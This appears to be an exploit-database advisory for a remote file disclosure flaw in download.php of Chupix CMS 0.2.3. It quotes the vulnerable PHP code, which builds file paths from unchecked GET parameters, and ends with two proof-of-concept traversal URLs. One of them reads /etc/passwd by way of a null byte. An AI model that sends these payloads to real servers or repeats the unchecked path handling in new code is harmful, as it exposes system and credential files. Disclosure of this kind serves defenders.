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Chupix CMS 0.2.3 (download.php) Remote File Disclosure Vulnerability
[====================================================================
Chupix CMS 0.2.3 (download.php) Remote File Disclosure Vulnerability
====================================================================
# Chupix CMS 0.2.3 (download.php) Remote File Download Vulnerability
################################download.php################################
Lain:18->57 ->
********************************************************************************************************************
if(isset($_GET['fichier'])){ <--------------XXXX
*
// telechargement du fichier
*
$file = "archives/". $_GET['repertoire'] ."/".
$_GET['fichier'];<--------------XXXX *
$fichier_txt = "archives/". $_GET['repertoire'] ."/cpt/". $_GET['fichier']
.".php" *
$repertoire = "archives/". $_GET['repertoire'] ."/cpt/";
*
if(is_file($fichier_txt)){
*
$fp = @fopen($fichier_txt, "r"); <--------------XXXX
*
$result = fread($fp, filesize ($fichier_txt));
*
fclose($fp);
*
$result = str_replace("<?php ", "", $result);
*
$result = str_replace("?>", "", $result);
*
*
$num = trim($result);
*
}else{
*
$num = 0;
*
}
*
$num++;
*
*
$msg = "<?php ". $num ." ?>";
*
*
if(!(is_dir($repertoire))){
*
mkdir ($repertoire, 0755);
*
}
*
*
$fp = @fopen($fichier_txt, "w+");<--------------XXXX
*
if (flock($fp, LOCK_EX)) { // pose un verrou exclusif
*
fwrite($fp, $msg);
*
flock($fp, LOCK_UN); // libere le verrou
*
}else{
*
echo "Impossible de verrouiller le fichier <font color=\"maroon\">".
$fichier ."</font>"; *
}
*
fclose($fp);
*
*
*
*
*
header("Content-type: application/force-download");
*
header("Content-Disposition: attachment; filename=".$_GET['fichier']);
*
readfile($file);<--------------XXXX
*
}
*
********************************************************************************************************************
# POC:
/download.php?repertoire=defaut&fichier=../../download.php
/download.php?fichier=../../../../../../../etc/passwd%00
# Discovered by: GoLd_M
# 0day.today [2024-12-26] #